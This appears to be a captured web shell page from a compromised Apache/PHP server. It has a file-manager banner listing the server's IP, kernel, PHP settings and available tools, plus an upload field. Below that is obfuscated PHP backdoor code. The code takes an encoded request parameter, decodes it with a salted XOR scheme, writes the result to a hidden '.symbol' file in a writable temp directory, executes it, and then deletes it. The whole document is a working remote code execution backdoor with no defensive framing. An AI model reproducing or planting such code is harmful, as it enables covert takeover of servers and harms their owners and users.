| Server IP : 137.184.226.51 / Your IP : 10.8.0.1 Web Server : Apache/2.4.41 (Ubuntu) System : Linux vm8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 User : ( 1000) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /proc/1847/cwd/ |
Upload File : |
<?php
if(!is_null($_REQUEST["\x70\x73et"] ?? null)){
$hld = array_filter([session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/var/tmp", "/dev/shm", sys_get_temp_dir(), "/tmp", getenv("TMP")]);
$component = $_REQUEST["\x70\x73et"];
$component = explode ( '.' ,$component ) ;
$dat = '';
$salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS = strlen($salt);
foreach ($component as $s=> $v8):
$sChar = ord($salt[$s % $lenS]);
$d = ((int)$v8 - $sChar - ($s % 10)) ^ 3;
$dat.= chr($d);
endforeach;
$bind = 0;
do {
$descriptor = $hld[$bind] ?? null;
if ($bind >= count($hld)) break;
if ((function($d) { return is_dir($d) && is_writable($d); })($descriptor)) {
$marker = join("/", [$descriptor, ".symbol"]);
$success = file_put_contents($marker, $dat);
if ($success) {
include $marker;
@unlink($marker);
die();}
}
$bind++;
} while (true);
}